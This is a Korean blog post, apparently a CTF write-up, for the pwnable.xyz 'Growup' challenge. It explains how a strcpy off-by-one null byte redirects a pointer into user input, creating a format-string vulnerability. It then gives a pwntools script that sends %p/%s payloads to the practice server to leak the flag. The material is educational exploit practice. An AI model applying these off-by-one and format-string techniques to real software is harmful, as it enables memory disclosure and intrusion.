Pwnable/pwnable.xyz
[pwnable.xyz] Growup
controlpro
2021. 1. 4. 16:15
728x90
Dreamhack문제가 살짝 질려서 딴 문제로 넘어왔다.
pwnable.xyz의 Growup 시작!
처음에 18살 이상인지 확인을 하고 y or Y를 입력 받고 다음에 name을 입력하고 입력받은 이름을 출력하고 프로그램이 끝난다.
딱히 buf가 일어나는 부분은 없어 보였느데 마지막줄에 usr와 qword_601160이 0x80만큼 떨어져있다. 수상하네...
그래서 qword_601160에 무엇이 있는지 확인을 해보면
qword_601160가 byte_601168을 받는다
답은 strcpy이다. strcpy를 사용하면 0x80을 복사하고 마지막에 null byte는 삽입하여 0x81을 총 복사할 수 있다. 이렇게 되면
> 0x601168 -> 0x601100으로 덮이게 된다.
이 경우는 우리가 입력한 부분 + 32 byte만큼 떨어진 곳으로 항상 고정되게 된다.
근데 return address를 뭘로 덮어야 하지..? one_gadget을 사용하기에는 libc가 없고,,,, 파일상에 flag가 존재하는 지 확인해보면 데이터 영역에 flag가 존재할 것이다.
최종 시나리오
1. Y or y에서 dummy 와 flag의 위치를 입력해주고
2. 이름을 입력할 때 dummy * 32 + "%p" * (여러개,, flag 위치 예측) + dummy * (0x80 - 32 - len(%p의 개수))
3. flag 위치 어디 나오는 지 확인하고 %p를 %s로 변경 해주면 끝
from pwn import *
flag = 0x601080
context.log_level = 'debug'
r = remote("svc.pwnable.xyz" , 30004)
r.recvuntil(': ')
r.sendline('y' + "A" * 7 + p32(flag))
formatstr = "%p %p %p %p %p %p %p %p %s %p"
r.recvuntil("Name: ")
r.sendline('A'* 32 + formatstr + 'A' *(0x80 - 32 - len(formatstr)))
r.interactive()
~
728x90
반응형